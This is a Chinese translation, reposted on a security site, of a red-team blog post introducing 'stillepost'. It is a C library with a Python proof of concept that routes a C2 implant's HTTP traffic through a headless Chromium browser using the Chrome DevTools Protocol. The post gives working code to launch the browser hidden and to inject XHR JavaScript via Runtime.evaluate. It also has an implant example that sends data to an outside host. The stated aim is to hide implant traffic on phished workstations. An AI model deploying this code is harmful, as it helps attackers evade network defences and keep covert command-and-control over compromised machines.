文章总结: 这篇文章介绍了一种通过Chrome开发者工具协议(CDP)代理C2流量的技术,作者开发了名为stillepost的工具,可以在不直接读取文件或进行钩子注入的情况下,利用浏览器的合法功能发送HTTP请求。文章详细解释了从概念到实现的完整过程,包括环境准备、浏览器启动、获取WebSocketURL、JavaScript模板和实际实现,并提供了C库和Python代码。这种技术的主要优势是利用用户浏览器已有的代理设置和防火墙规则,避免植入程序产生可疑出站流量。文章指出这项技术的主要限制是需要目标服务器允许CORS请求,并讨论了未来可能的发展方向。 综合评分: 90 文章分类: 红队,渗透测试,WEB安全,安全工具,免杀
使用浏览器代理C2的HTTP流量
aeverj
红队工坊
2025年12月18日 06:00 北京
翻译自 Stillepost – Or: How to Proxy your C2s HTTP-Traffic through Chromium
最近,我在为自己的 C2(Command and Control,命令与控制)项目寻找新模块时,开始研究如何从不同浏览器中导出 Cookie。在阅读各种技术文献的过程中,我发现了一些工具,比如 [WhiteChocolateMacademiaNut] https://github.com/slyd0g/WhiteChocolateMacademiaNut,它们利用了 Chrome 开发者工具协议(Chrome DevTools Protocol,简称 CDP)。这个方法让我眼前一亮——因为它和其他技术不同,既不需要直接读取文件,也不需要进行钩子注入(Hooking),而是巧妙地利用了一个合法功能,按照其设计初衷来使用,却达到了”不那么正当”的目的。这让我不禁思考:这个 Chrome 开发者工具协议,对于攻击者来说还有什么其他妙用?这就是这篇博文和工具发布的由来。
在这篇文章中,我将向你介绍 Chrome 开发者工具协议,以及我在阅读其文档时产生的灵感,并展示从想法到最终实现的完整过程。读完这篇博文,你应该能够在自己的项目中使用 stillepost,通过基于 Chromium 的浏览器发送 HTTP 请求。
如果你对思路和开发过程不感兴趣(🥲),可以直接在这个仓库找到最终的 C 库和 Python 代码:
https://github.com/dis0rder0x00/stillepost
✨Chrome 开发者工具协议✨
正如 [ChromeDevTools 文档] https://chromedevtools.github.io/devtools-protocol/ 所述:
Chrome 开发者工具协议允许工具对 Chromium、Chrome 和其他基于 Blink 的浏览器进行插桩、检查、调试和性能分析。许多现有项目[正在使用] https://github.com/ChromeDevTools/awesome-chrome-devtools 这个协议。[Chrome DevTools] https://developers.google.com/web/tools/chrome-devtools/ 本身就使用这个协议,其团队也负责维护这套 API。
该协议的功能被划分为多个域(Domain),如 DOM、Debugger、Network 等。每个域定义了它支持的命令和它会产生的事件。命令和事件都以固定结构的 JSON 对象进行序列化。
要使用 CDP,首先需要在启动 Chrome 时添加 --remote-debugging-port= 命令行参数。如果把这个参数设为 0,Chrome 会随机生成一个端口号供你访问 CDP 服务器。如果你不喜欢这种随机性,想掌控全局,也可以直接指定一个端口号(当然,这个端口得是空闲的)。
启动浏览器并让 CDP 服务器运行起来后,你可以通过 WebSocket URL 连接到它。获取这个 WebSocket URL 有两种方式:
- 该 URL 会被打印到浏览器进程的标准错误输出(STDERR),你可以从那里读取。
- 通过访问
http://127.0.0.1:<debugPort>/json/list获取。
如果选择第二种方式,向上述端点发送一个 GET 请求,你会收到类似下面的响应,然后就可以解析并提取 webSocketDebuggerUrl:
[ {
"description": "",
"devtoolsFrontendUrl": "https://aka.ms/docs[...]",
"id": "FA73A14107D6EF7709C69BFB9BAAB529",
"title": "localhost",
"type": "page",
"url": "http://localhost:4444/json/list",
"webSocketDebuggerUrl": "ws://localhost:4444/devtools/page/FA73A14107D6EF7709C69BFB9BAAB529"
},
[...]
]
连接到 WebSocket 后,Chrome 开发者工具协议主要使用 [JSONRPC] https://www.jsonrpc.org/specification 请求来执行不同的命令。每个命令请求由一个 JavaScript 对象组成,包含 id、method 和 params,其中 params 存放你需要传递给该方法的参数。
下面是一个截取当前页面屏幕截图的命令示例:
{
"id": 1,
"method": "Page.captureScreenshot",
"params": {
"format": "jpeg"
}
}
我强烈建议访问 [Chrome 开发者工具协议文档] https://chromedevtools.github.io/devtools-protocol/,了解所有可用域、方法、属性及其用法的完整列表!
好了,核心技术的基础知识已经介绍完毕,接下来让我们深入探讨如何”滥用”它。
然后呢 ¯_(ツ)_/¯?基本思路
CDP 让我们可以访问浏览器的底层功能。例如,我们可以:
- 打开页面
- 读写已打开标签页的 DOM(Document Object Model,文档对象模型)
- 获取主机信息
- 访问浏览器存储
- 以及更多更多……
但我问自己:有了这种对浏览器功能的访问权限,浏览器有什么是恶意植入程序(Implant)所没有的呢?
我想到的第一个答案是:对随机网站和端点的正常网络流量。
如果我们成功渗透到一台用户工作站,我们可以预期公司会允许员工使用浏览器上网。这意味着,浏览器应该已经配置好了正确的代理设置(或使用系统代理配置),防火墙也应该放行了 443 端口,而且来自 Chrome/Edge/浏览器的流量应该被视为正常的。
在我看来,这对于钓鱼载荷采用侧加载(Side-loading)方式、在某个任意签名二进制文件内运行植入程序的场景来说,简直是理想选择。如果植入程序能通过用户的浏览器代理其流量,就可以避免任何从被侧加载的二进制文件本身发出的可疑出站流量(除了本地连接),而且你不需要费心让植入程序具备代理感知能力。再加上这是钓鱼活动的一部分,你可以假设载荷落地的是用户每天实际使用的机器,这意味着浏览器很可能已经设置好并可以直接使用。
那么,有没有办法使用 Chrome 开发者工具协议来触发任意请求呢?简短的答案当然是:有。否则这篇博文也就没什么意义了……
我最初的想法是利用 Network 域,但在查看其描述和可用函数后,发现它似乎并不合适——乍一看,它并没有提供能让我们向任意 URL 发送任意数据的函数:
我的下一个想法更”黑科技”一些。既然我们能控制已打开页面的 DOM,那如果我们注入一段任意的 JavaScript 代码来触发 XHR(XMLHttpRequest)请求呢?这样我们就能控制目标 URL、数据,甚至部分请求头。但问题是:这可能会受到我们打开的页面的 CSP(Content Security Policy,内容安全策略)限制,从而阻止内联 JavaScript 执行。
于是我在文档中继续搜索,找到了一个更好的替代方案:[Runtime 域及其 evaluate 方法] https://chromedevtools.github.io/devtools-protocol/tot/Runtime/#method-evaluate:
这个方法允许我们直接 eval 任意 JavaScript 代码,并获取其返回值作为响应。
因此,如果我们编写一个 JavaScript 函数,接收 URL、数据和一组请求头,然后通过 XHR 发送请求,理论上我们就可以返回一个包含响应的对象。到这一步,整个项目的主要目标就算达成了。那就开干吧。
构建整体框架
根据目前掌握的信息,PoC(Proof of Concept,概念验证)的基本工作流程应该是:
- 设置环境
- 使用必要的命令行参数启动 Chromium 浏览器
- 解析 JavaScript 模板并插入必要的信息(方法、目标 URL、数据、请求头)
- 获取 WebSocket URL 并连接
- 使用 JS 模板执行
Runtime.Evaluate命令 - 获取响应
我也发布了最初的 Python PoC,希望能帮助你更好地理解这个方法:
https://github.com/dis0rder0x00/stillepost/blob/main/python_code/stillepost_poc.py
环境准备
在启动浏览器之前,我们需要了解并准备一些变量,包括:
- 要启动哪个浏览器
- 浏览器应该使用哪个用户配置文件
- CDP 服务器监听哪个调试端口
在 stillepost 库的代码中,这些都作为暴露的 stillepost_init 函数的一部分实现,其函数签名如下:
BOOL stillepost_init(LPSTR lpBrowserPath, DWORD dwDebugPort, LPSTR lpProfilePath)
第一个参数 lpBrowserPath 的用途很明显,就是基于 Chromium 的浏览器可执行文件的路径。如果这个参数设为 NULL,将使用 Edge 的默认路径(C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe)。
你可能可以使用的其他基于 Chromium 的浏览器包括:
- Chrome
- Opera
- Brave
- Vivaldi
- Chromium(谁能想到呢)
第二个参数 dwDebugPort 是 CDP 服务器监听的调试端口。如果设为 0,代码会模仿浏览器的行为,随机生成一个端口号。
第三个参数 lpProfilePath 是浏览器实例将使用的配置文件。你可以指定配置文件文件夹的路径或配置文件的名称。如果将此参数设为 NULL,stillepost 会生成并创建一个临时文件夹,该文件夹将在 stillepost 的清理函数执行时被删除。
我更喜欢这个工具每次运行都从干净的状态开始,所以新生成的临时配置文件是默认选项(传入 NULL 作为值)。我不确定 XHR 请求是否会出现在用户配置文件的历史记录中,但我认为创建一个文件夹然后删除,比冒险用某些东西污染现有用户配置文件要好。如果你了解使用现有配置文件会产生什么影响,请告诉我!
一旦浏览器的参数和环境设置完毕,函数就会继续实际启动浏览器。
启动浏览器
实际启动进程并不复杂,只是调用 CreateProcessA 并传入命令行参数。
HRESULT hr = StringCchPrintfA(
lpDebugCmd,
sizeof(lpDebugCmd),
"\"%s\" --remote-debugging-port=%d --headless --user-data-dir=\"%s\" --log-level=3 --disable-logging",
g_lpChromePath,
g_dwDebugPort,
g_lpProfileFolder
);
if (!CreateProcessA(
NULL,
lpDebugCmd,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED | DETACHED_PROCESS,
NULL,
NULL,
&si,
&pi))
return;
g_piBrowser = pi;
作者注:在开发这项技术时,我在这个阶段添加了一个小型规避机制来增加检测难度,这是基于我在类似技术的现有检测规则中观察到的模式(要是能在不带初始参数的情况下触发进程创建就好了……)。我选择不在公开发布版本中包含这段代码。我认为即使没有它,底层概念也很清楚,而且发布”规避性”实现在我看来只会降低低技能攻击者的门槛。我原本打算在这里简要描述这个机制,这也是为什么浏览器启动步骤在文章中成为独立章节的原因,但这让这个章节显得有些空洞。抱歉了。
除了调试端口和使用哪个配置文件等环境信息外,我们还指定浏览器应该以无头模式(Headless mode)启动。这会告诉浏览器不要为该进程生成窗口。这显然是必要的,以免让用户发现有什么事情正在发生,但副作用是浏览器会尝试附加到我们自己进程的控制台。你可能可以规避这一点,但我决定对于 PoC 来说不值得花这个精力,而是选择将日志记录降到最低,这也解释了传递给浏览器的其余命令行参数。
获取 WebSocket URL
启动浏览器后,我们需要知道 WebSocket URL,才能向其发送命令。
如果你还记得开头我介绍的两种方法,在这个项目中我决定实现第二种方法:向 http://127.0.0.1:<debugPort>/json/list 发送 GET 请求并解析其响应。
这部分代码位于 get_websocket_debugger_url 函数中,该函数在 stillepost_init 内部被调用。使用 [WinHTTP] https://learn.microsoft.com/en-us/windows/win32/winhttp/about-winhttp 和 [cJSON] https://github.com/DaveGamble/cJSON 实现起来相当简单,所以我不会深入讲解。
发送 GET 请求后,使用 cJSON 库解析响应就像下面的代码一样简单:
cJSON *cjsonRoot = cJSON_Parse(lpResponse);
if (!cjsonRoot)
goto cleanup;
if (!cJSON_IsArray(cjsonRoot)) {
cJSON_Delete(cjsonRoot);
goto cleanup;
}
cJSON *cjsonFirstElem = cJSON_GetArrayItem(cjsonRoot, 0);
if (!cjsonFirstElem || !cJSON_IsObject(cjsonFirstElem)) {
cJSON_Delete(cjsonRoot);
goto cleanup;
}
cJSON *cjsonWsItem = cJSON_GetObjectItemCaseSensitive(cjsonFirstElem, "webSocketDebuggerUrl");
if (!cjsonWsItem || !cJSON_IsString(cjsonWsItem) || !cjsonWsItem->valuestring) {
cJSON_Delete(cjsonRoot);
goto cleanup;
}
lpWsUrl = _strdup(cjsonWsItem->valuestring);
cJSON_Delete(cjsonRoot);
知道通过 WebSocket URL 在哪里联系 CDP 服务器固然很好,但到目前为止,我们甚至不知道连接后要执行什么。让我们来解决这个问题!
JavaScript 模板
坦白说……我真的不喜欢 JavaScript。正因如此,我写 JavaScript 简直是一塌糊涂(除了一些基础的 XSS PoC,用来获取 CSRF 令牌然后以目标用户身份执行某些任务)。这就是为什么我们用来实际触发 XHR 请求到远程端点的 JavaScript 模板是由 AI 生成的。请不要拿着草叉和火把来找我。
我让 ChatGPT 帮我写一个 JavaScript 函数,触发 XHR 请求并返回一个 JSON 对象,包含响应状态码、所有响应头和响应体。在解释函数应该接收什么参数并稍作修改后,我得到了以下代码:
function sendRequest(method, url, headersJson, dataJson) {
return new Promise(function(resolve) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
var allHeaders = xhr.getAllResponseHeaders() || "";
var headerLines = allHeaders.trim().split(/\\r?\\n/);
var hdrObj = {};
for (var i = 0; i < headerLines.length; i++) {
var line = headerLines[i];
var idx = line.indexOf(":");
if (idx > -1) {
var k = line.substring(0, idx).trim();
var v = line.substring(idx + 1).trim();
hdrObj[k] = v;
}
}
var resultObj = {
status: xhr.status,
headers: hdrObj,
body: xhr.responseText
};
resolve(JSON.stringify(resultObj));
}
};
var headers = {};
if (headersJson && typeof headersJson === "string") {
try {
headers = JSON.parse(headersJson);
} catch (_) {
resolve("");
return;
}
}
var data = {};
if (dataJson && typeof dataJson === "string") {
try {
data = JSON.parse(dataJson);
} catch (_) {
data = {};
}
}
if (method === "GET" || method === "HEAD") {
var params = [];
for (var k in data) {
if (data.hasOwnProperty(k)) {
params.push(encodeURIComponent(k) + "=" + encodeURIComponent(data[k]));
}
}
if (params.length > 0) {
url += (url.indexOf("?") === -1 ? "?" : "&") + params.join("&");
}
xhr.open(method, url, true);
for (var hk in headers) {
if (headers.hasOwnProperty(hk)) {
xhr.setRequestHeader(hk, headers[hk]);
}
}
xhr.send();
return;
}
xhr.open(method, url, true);
for (var key in headers) {
if (headers.hasOwnProperty(key)) {
xhr.setRequestHeader(key, headers[key]);
}
}
xhr.send(JSON.stringify(data));
});
}
在 JavaScript 中,这个函数可以/应该这样调用:
sendRequest("POST", "http://192.168.157.133:8000/", "{\"X-Poc\": \"SomeArbitraryValue\"}", "{\"param1\": \"value1\", \"param2\": \"value2\"}");
如你所见,这个 JS 函数接收四个参数:请求方法、目标 URL、一个定义要添加到请求中的请求头的 JSON 对象字符串,以及一个参数及其值的 JSON 对象字符串。
如果选择的方法是 HEAD 或 GET,JavaScript 函数会解析参数对象并将它们及其值附加到 URL 上。对于其他请求,我们让 xhr.send 来处理数据的解析。
至于响应,JavaScript 代码会构建一个 JSON 对象并返回其字符串化版本:
{
"status": 200,
"headers": {
"content-length": "16",
"content-type": "text/plain"
},
"body": "This is the body"
}
我修改了 JavaScript 代码,额外直接包含了一个带占位符参数的函数调用,这些占位符稍后可以轻松替换为请求的实际值:
function sendRequest(method, url, headersJson, dataJson) {
// [... sendRequest 函数的代码 ]
}
sendRequest(__METHOD__, __URL__, __HEADERS__, __DATA__);
所以当我们想在浏览器中 eval 这段代码时,首先需要将每个参数替换为相应的值。
把所有东西组合起来
浏览器和 CDP 服务器运行起来了,模板准备就绪,stillepost 也知道要使用哪个 WebSocket URL 了,剩下的就是通过 Chrome 开发者工具协议请求实际触发命令。
在解释代码如何发送请求和解析响应之前,我认为是时候展示一下如何使用 stillepost 库的三个主要函数了。
以下代码展示了你的植入程序如何使用 stillepost。代码引入了 stillepost.h,它暴露了 stillepost_init、stillepost、stillepost_cleanup 和 stillepost_getError 函数,并使用它们向监听 http://192.168.157.133:8000 的 Web 服务器发送 POST 请求:
#include <stdio.h>
#include "include/stillepost.h"
int main() {
// 初始化 stillepost 运行时(内存分配、临时文件夹、启动 Edge、获取 ws URL)
if (!stillepost_init(NULL, 0, NULL, TRUE)) {
printf("[!] Initialization failed: %lu\n", stillepost_getError());
return 1;
}
// 为请求准备 headers 和 data
cJSON *cjsonpHttpHeaders = cJSON_CreateObject();
cJSON_AddStringToObject(cjsonpHttpHeaders, "X-Poc", "SomeArbitraryValue");
cJSON *cjsonpData = cJSON_CreateObject();
cJSON_AddStringToObject(cjsonpData, "param1", "value1");
cJSON_AddStringToObject(cjsonpData, "param2", "value2");
// 通过 stillepost 发送请求
response_t *resp = stillepost("POST", "http://192.168.157.133:8000/", cjsonpHttpHeaders, cjsonpData);
if (resp) {
printf("[i] -> Returned status code: %lu\n", resp->dwStatusCode);
printf("[i] -> Returned headers: %s\n", cJSON_PrintUnformatted(resp->cjsonpHeaders));
printf("[i] -> Returned body: %s\n", resp->lpBody);
} else {
printf("[!] Something went wrong: %lu\n", stillepost_getError());
}
// 清理 stillepost 内部资源
stillepost_cleanup();
// 清理 main 拥有的资源
if (cjsonpHttpHeaders) cJSON_Delete(cjsonpHttpHeaders);
if (cjsonpData) cJSON_Delete(cjsonpData);
return 0;
}
到目前为止,我主要描述的是在 stillepost_init 中发生的事情(准备环境、启动浏览器和获取 WebSocket URL)。现在让我们简要看看主函数 stillepost,以了解我们如何使用 CDP 通过基于 Chromium 的浏览器代理 HTTP 请求。
该函数首先通过将模板中的占位符值替换为传入的参数,来构建实际的 JavaScript 载荷:
LPSTR insMethod = replace_first(lpJsTemplate, "__METHOD__", lpMethod);
LPSTR insURL = replace_first(insMethod, "__URL__", lpURL);
if (!cjsonpHeaders) {
insHeaders = replace_first(insURL, "__HEADERS__", "\"\"");
} else {
insHeaders = replace_first(insURL, "__HEADERS__", cJSON_PrintUnformatted(cjsonpHeaders));
}
if (!cjsonpData) {
lpJsPayload = replace_first(insHeaders, "__DATA__", "\"\"");
} else {
lpJsPayload = replace_first(insHeaders, "__DATA__", cJSON_PrintUnformatted(cjsonpData));
}
模板解析完成后,我们构建实际的 DevTools 协议 JSON 消息,其中包含方法(Runtime.evaluate)及其参数(存储在 lpJsPayload 中的已解析 JS 模板)。
// 2) 构建 DevTools 协议 JSON 消息:
// {
// "id": 1,
// "method": "Runtime.evaluate",
// "params": {
// "expression": "<lpJsPayload>",
// "awaitPromise": true,
// "returnByValue": true
// }
// }
cJSON *cjsonRoot = cJSON_CreateObject();
cJSON *cjsonParams = cJSON_CreateObject();
cJSON *cjsonRespJson = NULL;
cJSON_AddNumberToObject(cjsonRoot, "id", 1);
cJSON_AddStringToObject(cjsonRoot, "method", "Runtime.evaluate");
cJSON_AddItemToObject(cjsonRoot, "params", cjsonParams);
cJSON_AddStringToObject(cjsonParams, "expression", lpJsPayload);
cJSON_AddBoolToObject(cjsonParams, "awaitPromise", 1);
cJSON_AddBoolToObject(cjsonParams, "returnByValue", 1);
LPSTR lpPayloadStr = cJSON_PrintUnformatted(cjsonRoot);
cJSON_Delete(cjsonRoot);
free(lpJsPayload);
if (!lpPayloadStr) {
print_error("Failed to build JSON payload");
return NULL;
}
我们还指定等待 eval 返回数据,这是必要的,否则函数会在异步请求被解析之前就返回。
构建好最终的 JSONRPC 消息后,我们可以继续将其发送到 WebSocket 端点。响应将被读取到一个动态缓冲区中,根据远程服务器的响应时间,这可能需要一些时间。
收到响应后,stillepost 会准备一个 response_t 结构体来返回。该类型的定义如下:
typedef struct {
DWORD dwStatusCode;
cJSON *cjsonpHeaders;
LPSTR lpBody;
} response_t;
有了返回的结构体,我们应该就回到了调用 stillepost 的 main 函数,可以继续解析响应了。如果返回值是 NULL,说明出了问题,你可以调用 stillepost_getError 获取错误代码,以交叉检查出了什么问题。
运行上面使用 stillepost 的植入程序示例,我们会得到以下输出:
> stillepost.exe
[i] Using profile folder: C:\Users\dis0rder\AppData\Local\Temp\7HiAYeYzLc
[i] Using debug port: 4166
[i] Starting Chrome...
[+] Chrome started (PID: 25104)
DevTools listening on ws://127.0.0.1:4166/devtools/browser/f8764485-ecd0-4ffa-9c36-7b0ba3abc822
[+] Got websocket URL: 'ws://127.0.0.1:4166/devtools/page/B6E640D04EC7E862DF2F56674B07E576'
[i] Building JS payload
[i] Sending 'POST' request to 'http://192.168.157.133:8000/'
[i] -> Returned status code: 200
[i] -> Returned headers: {"content-length":"16","content-type":"text/plain"}
[i] -> Returned body: This is the body
[+] Chrome terminated
[+] Successfully deleted profile folder
请注意,由于示例是一个控制台应用程序,Edge 连接到了我们的控制台并打印了它创建的 WebSocket URL。
目标 Web 服务器收到的 POST 请求长这样:
如果要发送相同的请求(相同的数据和请求头),但改为 GET 请求,只需更改对 stillepost 的调用:
stillepost("GET", "http://192.168.157.133:8000/", cjsonpHttpHeaders, cjsonpData)
发送到 Web 服务器的请求就会变成这样:
清理
在程序结束时,我们需要确保进行清理。这包括终止启动的浏览器、删除临时配置文件文件夹(如果创建了的话),当然还有释放所有分配的内存。
stillepost_cleanup 函数会完成所有这些工作,不需要任何输入参数。main 拥有的资源仍然需要自行释放(废话)。
技术限制
这项技术只有在目标 Web 服务器允许来自任意来源的 CORS(Cross-Origin Resource Sharing,跨源资源共享)请求时才有效。所以在使用 stillepost 时,请确保你的重定向器(Redirector)已配置 CORS 以允许这种请求。在测试这项技术时,我使用了一个 Python Web 服务器,它明确设置了以下响应头:
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: *
这也是为什么你不一定能够在用户的上下文中向其他网页发送任意请求的原因。如果目标页面不允许 CORS 请求,浏览器会丢弃/阻止请求尝试。
未来开发
我不确定是否以及如何更新这项技术,所以目前就按原样使用吧。这个概念验证的目标是通过浏览器发送 HTTP 流量,因为这是我自己的 C2 大多数时候使用的协议。理论上,你可能可以用 JavaScript 为其他类型的流量编写自定义协议处理程序,所以如果你有这个动力或提示词技巧,也许这会是一个很酷的补充(虽然我不确定让浏览器向任意位置发送 SMB 流量是否真的有助于减少 IoC,即 Indicator of Compromise,入侵指标)。
结语
我希望这篇博文能够帮助你了解 Chrome 开发者工具协议的一些其他风险,这些风险可能并不那么广为人知。我相信用它还能搞出更多花样,以后我可能会再深入研究一下。目前,希望你喜欢我的第一篇博文。如果你有任何反馈,我非常乐意听取。
如果你还没有看过,请查看 stillepost 的 [GitHub 仓库] https://github.com/dis0rder0x00/stillepost。
感谢阅读,祝你有美好的一天!
如果你对网络安全、红队攻防技术充满热情,渴望学习更多实战技巧,例如渗透测试、自动化脚本编写、免杀技术等, 欢迎关注我的公众号
在这里,我会持续分享更多高质量的技术文章,与你一同探索网络安全的奥秘,提升实战技能! 让我们一起在队攻防的道路上,不断精进,突破边界!
免责声明: 本文仅供安全技术研究与学习交流之用。 严禁将本文所提及的技术用于任何非法用途,包括但不限于未经授权的渗透测试、网络攻击、恶意代码传播等。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式详见页面底部说明板块。
本文转载自:红队工坊 aeverj《使用浏览器代理C2的HTTP流量》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论